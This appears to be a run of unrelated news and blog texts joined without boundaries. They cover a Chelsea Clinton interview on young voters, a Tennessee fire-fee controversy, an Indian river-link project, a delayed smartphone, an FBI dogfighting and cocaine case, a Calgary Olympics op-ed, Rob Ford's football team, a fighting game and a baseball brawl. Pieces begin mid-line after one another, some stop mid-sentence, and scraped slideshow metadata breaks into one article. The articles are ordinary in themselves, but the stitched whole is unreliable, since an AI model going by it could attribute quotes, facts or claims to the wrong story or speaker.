Bernie Sanders endorsed your mom after she won the primary. Though many Millennials supported him, according to a recent NBC poll, 44 percent of them are now backing Gary Johnson and Jill Stein. Why do you think so many Millennials have not followed Sanders into the Clinton camp, and how can Clinton gain their votes in the next six weeks?
Oh, well, first, since we’re talking about National Voter Registration Day, I hope everyone’s registered to vote. So, although there is this kind of narrative about what Millennials quote-un-quote are doing at large in terms of their support, I’m really focused on ensuring every Millennial, every American of every age, is registered to vote because I think if you’re not registered to vote, then you obviously can’t participate come Election Day or through early voting if you live in a state where that’s a possibility.
I think voting is intensely personal. People should vote for whomever they think best articulates the vision that they want to see for our country and whom they think has the best ability to achieve that vision. I would just urge young voters to actually look at what the different candidates are offering and look at the different experiences of the different candidates to determine whether or not they think there is the chance of being able to do that.
Gary Johnson and the Libertarian Party want to get rid of the public school system in our country. [Editor's note: Johnson says that under his plan, "public schools are not going to go away," but he does not believe the federal government should have a role in public education and wants to get rid of the Department of Education.] If that’s what you believe, then you should actually support him. I think the public school system in our country has been one of the greatest, if not the greatest, investment of our values of the belief that everyone and anyone should have the chance to, as my mom says, "live up to their God-given potential." We have a lot of work to do to ensure that that is true in every school district and every school in our country. But I don’t think the work that we have to do entails getting rid of the public school system. So, I would hope that if Millennials care about debt-free college, the ability to not be crushed by student loan debt, they’ll look at what my mom and Trump as well as Jill Stein and Gary Johnson are offering, and they’ll find that actually my mom is the only person offering a plan.
Or if we think about climate change, something else I often hear young people care intensely about, Trump doesn’t recognize climate change is real. He’s called it a hoax started by the Chinese. That’s very different than my mom. Also if you look at what Gary Johnson and Jill Stein are talking about, there’s rhetoric. There’s no specific plans on their websites, there’s no kind of vision for how climate change actually can be a call to action to invest in renewable energy and build a stronger economy and create more jobs, and that’s what my mom is offering.
Look at criminal justice reforms, something else I often hear about from Millennials as being a real focus in this election. I think we saw in the debate last night the very real differences between my mom and Trump. My mom’s first policy speech in this campaign was about criminal justice reform, and similarly, she’s the only candidate who has a very detailed plan for what she thinks we need to do, from tackling implicit bias in our police departments and our prosecutors’ offices as well as in our country at large and the moral obligation that we all have to be engaged in that work, to sentencing reform, to second-chance programs, and so much more.
So I would just urge voters — and particularly young voters — to look at what the candidates are saying because I do think this is the most important presidential election of my lifetime, and I think everything we each care about — recognizing that we all care about different things — but everything we each care about is really at stake, and I think there are just very, very clear differences across all the candidates, and who’s really prepared and ready to lead our country, and I would argue my mom is head and shoulders above everyone else.
What would you say to Millennials who are considering not voting on Election Day?
I just don’t even understand why that would be a consideration. I think everything that we all care about is at stake. You know, I would never tell a Millennial or anyone what they should care most about, but I think we all care about something. For my mom, "Stronger Together" is not just a slogan. I think that’s a very different view of our country than what Trump is talking about. Whether it’s a specific policy, things that we’ve talked about, climate change, which she thinks is an urgent threat and also an opportunity for our country, which he doesn’t recognize is a reality. Whether it’s things that we haven’t talked about yet like gun control. All of that is at risk in this election.
So I would just ask people to think about that and get registered today because it’s National Voter Registration Day, and then vote. And I would also say I would hope that’s something that people will think about and engage in in every election because while a president has enormous possibilities, the president also faces constitutional constraints. So much of what we’ve talked about, the president can make real progress on her own, but in other areas, she needs strong partners in Congress, and she needs strong partners at the governors' level throughout this country, and she needs strong partners at the mayoral level, and the city council level, and the school board level.
So please don’t just tune in for this election. Please, please, please tune in for this election and for every election that you can vote in.
Election Day is Nov. 8. If you haven't registered to vote yet, you can do so here.
Follow Prachi on Twitter.
Correction: An earlier version of this article misquoted Chelsea Clinton on the number of countries Hillary Clinton traveled to as Secretary of State. She traveled to 112.Requiring residents outside of city limits to pay a $75 fee for fire protection is an ill-advised and unsafe policy, according to the International Association of Fire Fighters.
On September 29th, the South Fulton Fire Department in Tennessee refused to extinguish a fire ignited at the house of Gene Cranick. Because Cranick’s home is in a rural area outside of city limits, he is required to pay a fee to the city for protection, but claims he forgot to pay.
Although no members of the Cranick family were harmed during the fire, three dogs and a cat perished. The house was left to burn to the ground, but the fire department protected their neighbors, who had paid the fee.
The International Association of Fire Fighters (IAFF) has condemned the “pay-to-play” policy of South Fulton.
“The decision by the South Fulton Fire Department to allow a family’s home to burn to the ground was incredibly irresponsible,” President of the IAFF, Harold Schaitberger, said in a statement. “We condemn South Fulton’s ill-advised, unsafe policy. [Firefighters] shouldn’t be forced to check a list before running out the door to see which homeowners have paid up.”
“Anybody that’s not in the city of South Fulton, it’s a service we offer, either they accept it or they don’t,” said the Mayor of South Fulton, David Crocker.
Mayor Crocker claims to have looked at the issue of rural fire protection “100 different ways,” but has not yet found a better solution to the problem than the $75 dollar fee. Comparing the policy to auto insurance, Crocker says if the fire department operated on a per-call basis, there would be no incentive for those outside of the city’s limits to pay the fee.
“We are a city fire department,” said city manager Jeff Vowell. “We are responsible for the City of South Fulton and we offer a subscription (to rural residents). If they choose not to, we can’t make them.”
Pundits on both sides of the political spectrum have also weighed in on the incident.
On his radio show Tuesday, Glenn Beck said, “What is the $75 for? To keep the firemen available, to keep the fire trucks running, to pay for the fire department to have people employed to put the fire out.”
“If you don’t pay the 75 dollars, then that hurts the fire department,” continued Beck. “They can’t use those resources, and you’d be sponging off your neighbor’s resources.”
On MSNBC’s Countdown Monday, Keith Olbermann blasted South Fulton’s “a la carte government,” mocking it as an example of “Tea Party America” where “you have to pay taxes for the fire department, plus a special fee.”
On the other hand, one left-leaning blogger thinks the tea party shoe is on the other foot.
“The Tea Party loves to talk about individuality and smaller government,” writes Sasha Brown-Worsham at The Stir. “They love to talk about self determination, but when their house is burning, who’s on the phone the quickest, dialing 9-1-1?”THE STANDING committee of the National Board for Wildlife (NBWL) cleared Phase-I of Ken-Betwa river link project in its first meeting with new Environment Minister Anil Madhav Dave as chairman.
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The minutes of the meeting, held on August 23, was approved Monday.
The Rs 10,000-crore project requires diversion of 5,258 hectares of forest land, including 4,141 hectares of Panna Tiger Reserve.
As reported by The Indian Express on May 12, the project was given in-principle approval in the 38th meeting of the NBWL standing committee on May 10. Facing flak, the ministry decided to hold further deliberations with engineering and hydrological experts “in view of differing opinions on the height of the water impending structures and resulting impact.”
At the 39th meeting on August 23, the Wildlife Institute of India (WII) director “indicated that the (expert) group was convinced that reducing dam height by 10 metres will result in non-availability of water for linking”.
The proposal to drop the plan for power generation, given the project’s focus on fighting drought in the Bundelkhand region, was also shot down after the Ministry of Water Resources assured that power generation facilities would be outside the tiger reserve. Accordingly, the committee decided to recommend the project without any modification with these additional conditions:
* To compensate for direct loss of 105 sq km of tiger habitat, Nauradehi, Rani Durgavati and Ranipur wildlife sanctuaries will be integrated in Panna Tiger Reserve; affected forest villagers will be rehabilitated at project’s cost.
* The dam reservoir area will be retained as core tiger reserve with minimum activities.
* No fishing will be allowed at the dam site.
* No new mining leases will be allowed on tiger dispersal routes.
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* A landscape-based plan for the area will be finalised with the National Tiger Conservation Authority in lead, assisted by WII, state forest department and the project proponents.The Saygus V2 has been delayed once again. You still shouldn’t be surprised by this. We have been telling you to expect this over and over agin. In fact, we asked you when pre-orders opened if you wanted to bet on whether or not this thing would ship in the 6-8 week timeframe that was originally given. No one should have taken that bet, because it was a sucker bet. A company like this (newish, inexperienced, and who is clearly overpromising to excite a small customer base), who is attempting to take a barely working phone to polished retail unit that’s delivered to the masses in two or three months, is setting itself up for failure. Hell, even large companies who actually know what they are doing would struggle with that tight of a window.
So yeah, after missing their March shipping date, then emphatically declaring that May 22 would be the official shipping date, Saygus is once again delaying the release of a phone they continue to call the “world’s most advanced smartphone.” This time, they don’t even have an estimate as to when this little guy will begin to ship. I guess they learned after missing two shipping dates that you should stop with the promises.
If you are/were a Saygus pre-orderee, you could see this coming. Email communication from the company went silent after they missed that March deadline and told us all to expect the phone on May 22. Within the last week, they started spamming us again with short messages meant to show they are working hard and that things are moving along, but never once did they mention that May 22 was still looking realistic. They have a new website, though! And are planning a big marketing campaign for June! Of course, those who pre-ordered don’t give a sh*t about a website or marketing campaign, because they have already spent money on a phone that is clearly not even close to shipping.
One of the emails talked about how excited the company was to begin shipping. Another listed out about 100 countries and the cost to ship to each. Then yesterday, after you had all left work for the day and disconnected from email, Saygus announced that they were “ambitious” in this venture and that they have an update on progress, which of course means they are about to tell you that there is another delay.
According to Saygus, the phones are on the manufacturing line, but won’t ship on time. Of course, that seems like a stretch and lie when you read the next couple of sentences, mentioning that they still need to finalize some quality assurance and do network testing. Seriously, they still need to do network testing. The full email is below for those interested.
Dear V-Squared Customer, As you know, the Saygus team has created the world’s most advanced smartphone and we are ambitious in this venture. We know our customers around the world are excited to receive the V-squared, and we wanted to provide you with an update on the progress. The phones are on the manufacturing line, but will not be ready to ship globally on May 22 as we had planned. We just concluded a review of the status of all critical factors in preparation for shipment. We still need to finalize some quality assurance and network testing so when we put the V-Squared in your hands (which will be soon), it will be the phone of your dreams. Saygus is dedicated to delivering the highest-quality smartphone. Thank you very much for your continued patience. We will update you with more information as soon as available. Best regards,
The Saygus Team
Good times.South El Paso’s Second Ward—El Segundo Barrio—has long been a crossroads for Mexican-Chicano culture on the U.S. border. Known by some as the “other Ellis Island,” it’s also one of the poorest neighborhoods in the country.
In 1972, the Environmental Protection Agency tapped photographer Danny Lyon to chronicle the social consequences of the environmental crisis in America. The project was part of its Project Documerica, an initiative modeled on the Farm Services Administration photo projects of the Great Depression. The EPA wanted to take the pulse of a nation reverberating from the upheaval of the 1960s, and South El Paso was still emerging from decades of neglect—a veritable slum of overcrowded tenements and poor sanitation on the banks of the Rio Grande.
One of the most prolific living photographers, Lyon was already a member of the prestigious Magnum agency. But despite his renown and the reach of many of his other works from the period, his Documerica photographs of El Paso have been mostly forgotten.
Chicano youth culture was the central focus of Danny Lyon’s photographs from south El Paso.
Maybe it was his failure to come up with a clear story. Lyon’s work from El Paso is nonetheless exemplary of the immersive, experiential mode of documentary he helped pioneer—teenagers and cars being recurrent hallmarks of his youth-oriented approach to deep hanging out. American photography at the time remained a product of the FSA’s evidential style and straightforward tone. Lyon represented a shift toward a more intuitive approach to documentary that left room for authorial intent and reflexivity in what had been a practice of purely external representation. Much of Lyon’s oeuvre flows seamlessly between subjects and time periods, presenting historical events as layers in a lived experience which places self portraits and personal snapshots on equal footing with hard news imagery.
Documerica never took off the way Stryker’s FSA did, and after years of neglect the archive’s color film has deteriorated from poor storage techniques. Perhaps America in the 1970s was ready to move on from old ways of looking at itself. Dispatching a team of visionary (mostly male) photographers to reflect the “truth” of a nation was nobly intended, but it didn’t fully take into account the changes wrought by World War II, civil rights, and the end of Modernism.
Photographs by Danny Lyon courtesy Project Documerica/EPA.Secret court-approved wiretaps on alleged Columbia cocaine dealers’ cellphones prompted FBI agents to bust a large Lexington County facility used for training pit bulls to fight, authorities said Friday.
Some 48 pit bulls, many emaciated, have been seized by the FBI and a national response team from the Society for the Prevention of Cruelty to Animals, according to those involved and documents in the case.
The animals, who lived outside tied to chains, were in a wooded area outside Gaston in rural Lexington County, according to officials.
On Friday afternoon, a 12-person national emergency animal response team directed by the American Society for the Prevention of Cruelty to Animals was on the scene, assisting the FBI with the final stages of taking about a dozen remaining animals into custody, an ASPCA official said.
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Agents and local law enforcement executed another warrant at the Gaston address earlier this month. On Oct. 1, agents seized 35 dogs, along with drugs, guns, and cash, according to the U.S. Attorney’s office in Columbia.
The site is occupied by a man identified in an FBI affidavit by agent Brian Jones as Eric Dean “Big E” Smith, 41, of Gaston, who was indicted Friday for cocaine trafficking. Smith’s lawyer, Debbie Barbier of Columbia, declined comment late Friday.
Smith was “heavily involved in breeding dogs for the purpose of dogfighting,” according to an FBI criminal complaint in the case. “Intercepts and physical surveillance have revealed that Smith stores cocaine and over 30 dogs at (his) residence.”
According to excerpts of FBI wiretaps made public Friday, Smith had as many as 35 dogs at the site on Sept. 16, when he took them to a veterinarian’s office in West Columbia to get rabies shots. Smith is heard complaining that the Lexington County Animal Control office cited him for not giving his animals rabies shots.
On another call, Smith tells an unidentified man that fighting dogs in South Carolina aren’t as good in organized dogfights as dogs bred in other states. In the same call, Smith says he will sell one of his dogs for $2,000.
The Gaston dogfight operation was discovered during an ongoing FBI, state and local investigation into a Columbia area gang cocaine operation tied to the Bloods street gang, according to federal court records and sources familiar with the investigation.
Besides Smith, others indicted as a result of the wiretaps are: Gerald Montez “Bird” Burris, 46; Amos “Famous Amos” Donnell Jones, 34; Stephoni “Steezy” Vernard Sumter, 28; Tony L. Gunter, 36; Travis “Hip” Santale Sulton, 31; Dion W. Jones, 31; and Travis Leon “Jit” Gilbert; 27. The dogfighting investigation continues, authorities said.
“We are on the scene at the request of the U.S. Attorney’s Office and FBI to assist with the dog-fighting investigation,” Tim Rickey, vice president of the ASPCA’s field investigations office in New York City, said Friday in a telephone interview.
“Our team was here to assist with collecting animal dogfighting evidence, to help process the crime scene, and the collection and removal of the animals,” Rickey said. The dogs will be taken to shelters at an undisclosed location and evaluated by some 30 other people, he said.
Rickey said dogs at the site, about one-half mile off Meadowfield Road, had scars and injuries associated with dogfighting. The dogs were found chained and anchored to car axles, with trash barrels being used as makeshift shelters, according to the U.S. Attorney’s Office. Adult dogs and puppies were found severely emaciated and dehydrated, and the remains of deceased dogs were also discovered on the premises, along with dogfighting paraphernalia.
Dogfighting, a multi-million dollar, blood-sport business, is illegal under federal and state law.
On Friday, 24 defendants made initial appearances in federal court in Columbia to face charges of conspiracy to traffic cocaine and crack cocaine and supply the illegal drugs to street gangs, according to a press release from the U.S. Attorney’s office.
The defendants were arrested over the past two days by a federal, state and local authorities, including the Columbia Violent Gangs Task Force.
“It should come as no surprise that gangs, drug dealing, and violence often go hand in hand,” Columbia Police Chief Skip Holbrook in a news release. “However, gangs are often involved in other organized criminal activity. In this case, that criminal activity is dogfighting.”
The FBI, the Richland County Sheriff’s Department, SLED and the Columbia Police Department participated.
In recent years, the FBI and the task force have made numerous high profile round-ups of Columbia cocaine dealers. But cocaine dealers continue to flourish in the area.
According to one wiretap made public Friday, Smith told an unidentified caller that he was selling three to four kilograms of cocaine every week. Smith said he paid $42,000 per kilogram, and was able to sell the cocaine for $1,300 an ounce.
There are 35.2 ounces in every kilogram, so Smith could sell a kilo for about $45,760 – making a profit of some $3,700 per kilo.The Justice Department’s Civil Rights Division was created 60 years ago “to uphold the civil and constitutional rights of all Americans, particularly some of the most vulnerable members of our society.” Under Attorney General Jeff Sessions, the department is now signaling its intent to use civil rights laws as a cudgel against racial minorities.
The news that Sessions is preparing to create a new section in the DOJ to investigate and punish universities for using race as one of a number of factors in admissions decisions is deeply disturbing and contrary to Supreme Court rulings. After all, the court has repeatedly supported the compelling interest colleges have in achieving racial diversity through carefully constructed admission plans. And the Justice Department itself in 2015 supported admissions programs, like that of the University of Texas, noting that “[n]umerous federal agencies have concluded that well-qualified graduates from diverse backgrounds are crucial to the fulfillment of their missions.”
The Trump administration is using the law in a way that most burdens those who are most vulnerable.
But that was then. Now, evidently, in Sessions’s view, the greatest civil rights problem the nation faces is the possibility that a college or university might consider the contributions that students of color would make to those institutions as a factor in admissions.
But the decision to attack diversity programs on campuses is, sadly, not surprising in the context of the policies articulated by this administration. It has, after all, created a commission to investigate voting fraud that doesn't occur, even while numerous lawsuits have been successfully brought challenging voting schemes that rob minorities and other vulnerable groups of their ballot access. This is an administration that now wants to return to long discredited “war on drugs” that filled America’s prisons and unfairly targeted communities of color. And this is a Justice Department operating under a president, who despite irrefutable evidence of inappropriate use of force against minorities, has told law enforcement agents “don’t be too nice” in interactions with civilians.
This latest move by the administration is of a piece with those actions and others — such as efforts to strip LGBT communities of civil rights' protections. The common thread is using the law in a way that most burdens those who are most vulnerable. The aim is to turn back the clock to a time when the most vulnerable were denied even the most basic access to the benefits of being American.
There is a frightening precedent for this retreat. Following a brief period after the Civil War when some efforts were made to achieve equality for newly freed slaves, there was a cruel and sudden turn to erase all progress on that front. That post-Reconstruction turn frequently relied on twisting existing laws to deprive newly enfranchised Blacks of all civil rights, including the right to vote. And that effort ushered in Jim Crow laws, brutal law enforcement, lynchings, denials of access to jobs, housing, education, and public accommodations.
Much remains to be done to achieve real equality in this country, and we cannot allow earlier gains to be systematically undone. We will be watching and taking appropriate actions to prevent the Trump administration from taking America back into its shameful past.Last summer, Calgary's municipal council allocated $5 million to exploring the question of the whether the city should support a bid for the 2026 Winter Olympics.
Due diligence and careful study are never a waste, but the honest answer was always going to be clear: No.
At least now there's up-to-date evidence as to why.
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Though Calgary would be able to rely largely on existing installations originally built for the 1988 Games, mounting the Olympics in 2026 would still cost a projected $4.6 billion – including a minimum taxpayer outlay of $2.4 billion.
Oh, and those figures don't include the multiple hundreds of millions needed for a new fieldhouse and arena. Nor do they account for the fact that Olympic financial projections feature prominently in the Big Book of Imaginary Numbers. They're approximately as reliable as a canoe made from the paper they are printed on.
Even if the city of Calgary is in reasonable financial shape – it posted a small surplus in 2016 – the province of Alberta most certainly is not. Does anyone want to pile on billions in new debt, for this?
The International Olympic Committee's quadrennial showcases aren't what they used to be. As costs have exploded and concerns about the games behind the Games have grown, bids to host the Olympics have dried up.
Seven aspirants for the 2022 Winter Games dwindled to just two, and as for the 2024 Summer Games, there are only two bidders: Paris and Los Angeles. Faced with such world-wide reluctance, the IOC in September is expected to take the unprecedented step of awarding the 2024 event to one city, and the 2028 Games to the other.
Even a multinational corporation like McDonald's no longer sees the value in being associated with the brand: The fast-food giant recently ended its sponsorship agreement with the IOC three years ahead of schedule.
It appears the only people who reliably profit from the Olympics are those populating the IOC's Swiss headquarters.
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Consider, too, that since 1984, not a single Games has come in under budget. Costs have a funny way of ballooning.
It starts with the ridiculously expensive requirements – for installations, security and so on – built into any contract with the IOC. And then there is the fact that biding cities often use the Games as a kind of loss-leader that allegedly allows them to extract cash from higher levels of government in order to fund pet infrastructure projects or urban renewal.
Vancouver's 2010 Games cost roughly $7 billion; Calgary's proposal presents a decidedly no-frills vision.
It doesn't feature a new airport, highways or a raft of legacy installations. There is no plan to rebuild a neglected part of the city. In other pitches, an absurdly expensive two weeks of ephemeral sizzle have been used to force through spending on at least some real, useful infrastructure – which may deliver long-term benefits, but definitely drive up costs. Calgary's bid is cheaper – because what spending remains is largely sizzle.
Even if the Winter Games can be staged on a far more manageable budget than their summer equivalent, the magical reputational benefits that allegedly derive from hosting the Olympics dissipate quickly, when they aren't an outright illusion.
Calgary Mayor Naheed Nenshi is an avowed Olympic fan but has thus far reserved judgment on whether he'll support a formal bid. In any case, nothing can happen without help from other, deeper-pocketed levels of government. Premier Rachel Notley could nip the whole enterprise in the bud with a polite, regretful no. She has every reason to.
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The province's fiscal situation remains perilous. Thanks to the oil-price bust, Alberta is saddled with a huge budget deficit. Ms. Notley's government doesn't have to close that gap immediately, but over several years, it must. And absent a strong rebound in oil prices, that means either tax increases or spending cuts – not discovering new things, such as the Olympics, to blow money on.
The same goes for cries for taxpayer assistance for the Calgary Flames' hoped-for new arena – a precondition for an Olympic bid.
The arena deal may happen anyway, given that Edmonton and Quebec City set the recent precedent for handing public millions to people who emphatically do not need them.
If politicians want to make Calgary a better place than it already is, council should by all means ask taxpayer to pony up for, say, better mass transit – the city is planning a new, $4.6-billion light-rail line, for which it needs some of that scarce provincial money – or other modernized infrastructure.
Major investments should serve the long-term public interest, not just a two-week stretch in the winter of 2026.
Calgary has already been an Olympic city once. Isn't that enough?Marcelo Huertas signed with Saski Baskonia over the summer, returning to Europe after two very unimpressive seasons with the Los Angeles Lakers. While there’s not much memorable about his time on the court, he was there for Kobe Bryant’s retirement tour. Huertas played 16 minutes a game in 53 appearances for the 17-win team. Here’s what the Brazilian veteran thought of that experience. Via Google translation from Bala na Cesta:
Kobe was not cool, could not take the team in the back, youngsters who needed to have the leadership great could not take over.
Babelfish says “Kobe wasn’t nice.” Neither is probably perfect, but you get the idea. Kobe was as poor of a leader as you imagined.
After that wasted season Huertas was ready to leave but Luke Walton and Mitch Kupchak convinced him that he would be part of the rotation the next season. Two days after he signed they picked up Jose Calderon who would play ahead of Huertas until Huertas was traded to Houston in February. That was the end of his time in the NBA.
Huertas also opined on the Lakers roster construction in his final season. Specifically how Brandon Ingram hurt the team.
How was Ingram going to play? Like the front-office(director) would respond to the fans? What happened? They put the Ingram of shipowner even without him having the slightest notion, cocoon of shipowner. He was super shy inside the court. I think that was very clear. Our team was wrong about that. Calderon and I were harmed. All this for Ingram to get off the bench and play.
“Armador,” is a Spanish word for shipowner. It must be Portuguese slang on par with captain or leader. Again, you get the point. Ingram averaged 9.4 points, 4 rebounds and 2.1 assists. His advanced statistics are much less impressive.Productivity Is Really About What You Don’t Do
The best productivity tip I ever got was the idea of a “stop-doing list” from Jim Collins. In this Age of Distraction, we’re all dodging and weaving between so much incoming information that what you don’t do on a daily basis has become as important—if not more—as what you do execute on.
Here’s a list of the things I don’t do while working:
I don’t schedule meetings in the morning.
I don’t listen to music or radio that has words.
I don’t look at my email until I’ve done 90 mins of deep-attention work.
I don’t treat emails from people I don’t know as urgent.
I don’t look at social media until the afternoon, and then only on breaks.
I don’t tweet live. (I schedule almost everything in advance.)
I don’t over-program my daily schedule so that there is no downtime.
I don’t work more than 3 hours without a break.
I don’t answer my phone or texts in the morning.
I don’t use Slack.
I don’t read the news.
I don’t eat at my desk.
I don’t work past 6pm.
—
And here’s a list of things I make sure to do:
I do make my to-do list for tomorrow the night before.
I do focus on deep-attention before hyper-attention work.
I do regularly identify and update my goals for the next 6 months, and the actions I need to take to meet them.
I do always have a variety of projects on my slate so I can shift tasks based on my mood and energy level, while still getting important stuff done.
I do meet (or catch up with) one interesting person a week.
—
Now you might be thinking: Well, I can’t not do all of those things! Like you can’t avoid morning meetings or your team requires you to be on Slack all day. Or maybe you think that not reading the news is just plain crazy. (Most people do.)
I would |
11/rob-fords-high-school-football-team-loses-the-metro-bowl/slide/toronto-mayor-rob-ford-at-the-metro-bowl-3/ toronto-mayor-rob-ford-at-the-metro-bowl-3 0 0 218120 The Huron Heights warriors dominated the first half of the game. Toronto Mayor Rob Ford at the Metro Bowl https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_21-100x100.jpg https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_21.jpg https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_21.jpg 1024 683 https://torontoist.com/2012/11/rob-fords-high-school-football-team-loses-the-metro-bowl/slide/toronto-mayor-rob-ford-at-the-metro-bowl-4/ toronto-mayor-rob-ford-at-the-metro-bowl-4 0 0 218121 Doug Ford was there. Toronto Mayor Rob Ford at the Metro Bowl https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_32-100x100.jpg https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_32.jpg https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_32.jpg 1024 682 https://torontoist.com/2012/11/rob-fords-high-school-football-team-loses-the-metro-bowl/slide/toronto-mayor-rob-ford-at-the-metro-bowl-5/ toronto-mayor-rob-ford-at-the-metro-bowl-5 0 0 218122 And so was the little-known third Ford brother, Randy, in his awesome trenchcoat and black hat. Toronto Mayor Rob Ford at the Metro Bowl https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_34-100x100.jpg https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_34.jpg https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_34.jpg 1024 683 https://torontoist.com/2012/11/rob-fords-high-school-football-team-loses-the-metro-bowl/slide/toronto-mayor-rob-ford-at-the-metro-bowl-6/ toronto-mayor-rob-ford-at-the-metro-bowl-6 0 0 218123 Ford talks to the press after the game. Toronto Mayor Rob Ford at the Metro Bowl https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_43-100x100.jpg https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_43.jpg https://torontoist.com/wp-content/uploads/2012/11/20121127_FORDFOOTBALL_DROSTphoto_43.jpg 1024 683 https://torontoist.com/2012/11/rob-fords-high-school-football-team-loses-the-metro-bowl/slide/toronto-mayor-rob-ford-at-the-metro-bowl-7/ toronto-mayor-rob-ford-at-the-metro-bowl-7 0 0
At Rogers Centre on Tuesday night, Rob Ford’s high school football team, the Don Bosco Eagles, concluded what has almost certainly been the most memorable season of sports in the school’s history with a 28–14 loss to Newmarket’s Huron Heights Warriors. Had the Eagles won, they would have been this year’s Metro Bowl champions, a title Ford has said he considers to be “the grand poobah.”
After the game, when the players (some so gutted by the loss that tears were streaming down their faces) were safely ensconced in their locker room, Ford emerged for a brief impromptu press conference. “The first person who brings up a question about politics ends the whole post-game,” one of Ford’s retinue warned reporters.
Ford, who has been criticized for prioritizing football over his official obligations, vowed to continue coaching the Eagles next year. Then he offered up his analysis of the game. “It was just mistakes. Just mistakes and penalties. We were disciplined, but a couple mistakes in a championship game against Huron Heights or a team of that talent, you know what I mean? You just, you’re not gonna be able to come back.”
The analogy practically writes itself. Like the Eagles, penalized repeatedly early in the game, Ford’s mayoralty is now on the brink of disaster because of a rule violation. Monday’s court-ordered end to Ford’s term as mayor didn’t come about because of any real corruption on Ford’s part. His crime was more like incompetence. (The judge’s term is “wilful blindness.”)
If Ford was feeling downtrodden about his loss at court, it wasn’t evident from the stands. In front of a crowd of hundreds seated near the edge of the Rogers Centre field, the mayor-for-now stood among his players on the sidelines, fresh from the day’s council meeting and still wearing his suit and tie. He never seemed to react as his team gave up 21 points in the first half, without scoring a single touchdown of its own. Huron Heights was dominant, recovering fumbles and, in one case, a kick-off.
The Newmarket school had brought along a troupe of probably 30 immaculately costumed cheerleaders, plus a marching drumline. Don Bosco had fewer than a dozen cheerleaders, plus a girl in a full-body eagle costume. Ford likes to position his coaching and football fundraising as a way of helping underprivileged kids, and while there is reason to be skeptical of how well that characterization applies to the Don Bosco team, the Eagles definitely looked underfunded by comparison. Proud parents and students still let up a floor-shaking roar whenever their boys did good.
In the stands, it was hard to find anyone who didn’t express support for Rob Ford. All throughout the football season, everyone connected with the Don Bosco team has shared some of Ford’s spotlight as the blurring of his two public roles—as chief magistrate and as part-time amateur football coach—has become increasingly central to the story of his mayoralty. In the reluctance of some Bosco fans to speak to the press, one sensed a kind of shared siege mentality. Some students had painted their bodies with the school’s colours, green and yellow.
Khadijha Morris and Quinette Iravor, both 18, were in the Don Bosco section. Morris is a Grade 12 student at the school, and Iravor graduated recently. Both agreed that Ford’s involvement at Don Bosco had been a net positive for their community.
“He is trying his best,” said Iravor. “There’s always going to be someone or some people trying to put him down.”
“I feel for him,” said Morris when asked about the mayor’s recent legal troubles. “That’s not fair, and it sucks.”
After the Eagles’ 14-point rally in the second half, the mood among Don Bosco supporters lightened somewhat. Ford himself seemed not altogether dejected by the loss. During his brief encounter with the press after the game, it was remarkable to hear him, for once, talking about something within his realm of expertise. This is a guy with enough family wealth at his disposal that he could almost certainly afford to take a non-stressful job that would allow him to coach to his heart’s content. He managed to get this team to the citywide finals, so motivating young athletes is something he’s obviously good at.
Instead, he’s vowing to fight his expulsion from the mayoralty, a job he’s demonstrably not good at, and that he’s apparently unable to enjoy.
And that’s the curious thing about Rob Ford. By all indications, he doesn’t want to be happy. He just wants to be mayor.If you’re looking for a good, cost effective substitute for the American Apparel tri blend t-shirt, look no further than the Next Level 6010. This item has a great fashionable fit and is super soft. There’s minimal shrinkage after washing, so it fits great on your first wear and your 100th wear. We here at Merchbro use this product in custom printing projects every day and have yet to have a single customer complaint over the quality of shirt.
We’ve put together a couple resources for anyone looking to print on the Next Level for their next custom screen print project. Hope these are useful to you!
Next Level 6010 Color Chart
Next Level 6010 High Resolution Image Folder
We used these high resolution images to put together the color chart above. Feel free to downlad for mock ups or whatever else you need. They’re not watermarked. We didn’t create them, just put them in an easy place for you. Hat tip to Bodek and Rhodes for the images themselves.
Follow us! MerchbroThe third and final proper installment in the series, Vampire Savior: Lord of Vampire, retained the character roster of Night Warriors, omitting Donovan, Huitzil and Pyron from the lineup. Taking their place were four new characters; Jedah, Lilith, Q-Bee and B. B. Hood. Vampire Savior eschews the traditional round-based system in favour of what is dubbed Damage Gauge System; instead battles takes place during a period of one round with each fighter having two "life markers" (by default) which are diminish after one's life bar is completely emptied (similar to Killer Instinct). The player can also regain a portion of their life during battle if they avoid taking further hits. The game also introduce the Dark Force System which allow players to perform special abilities unique to each character for a limited period.
In Vampire Savior, Jedah, one of the high nobles of Makai, is resurrected after a premature death long ago. Seeing the state of the demon world, he decides that the only way to save the world is to recreate it. To this end, he conjures a dimension known as Majigen, to which he summons worthy souls to feed his new world. As luck would have it, those souls belong to the characters from the first two games, in addition to three newcomers.
This game was ported to the Sega Saturn and to the PlayStation (as Darkstalkers 3: Jedah's Damnation) in 1998. Both versions add the three missing characters Donovan, Huitzil and Pyron to create a full roster of 18 characters. They also provide the ability to unlock the Vampire Savior/Hunter 2 mode of play.
Vampire Savior Saturn Japanese cover
Vampire Savior PSX Japanese cover
Darkstalkers 3 PSX coverWashington Nationals star Bryce Harper charged San Francisco Giants reliever Hunter Strickland in the eighth inning of the teams' game Monday, leading to a bench-clearing brawl between the clubs.
Strickland plunked Harper in the hip with a 98 mph fastball. Harper then gestured at Strickland with his bat, strode to the mound and threw his helmet at the Giants pitcher before the two exchanged blows as benches cleared.
"You either go to first base or you go after him, and I decided to go after him," Harper said of his decision to charge the mound.
It was the first time the two had met since Harper hit two home runs off Strickland during the 2014 National League Division Series between the Nationals and Giants.
The 6-foot-4, 220-pound right-hander had to be carried off the field by several San Francisco teammates to keep him away from the melee.
Despite their history, Harper said he didn't step into Monday's at-bat thinking Strickland would hit him.
"No, not in that situation," Harper said. "Especially since it's been three years and they won the World Series that year.
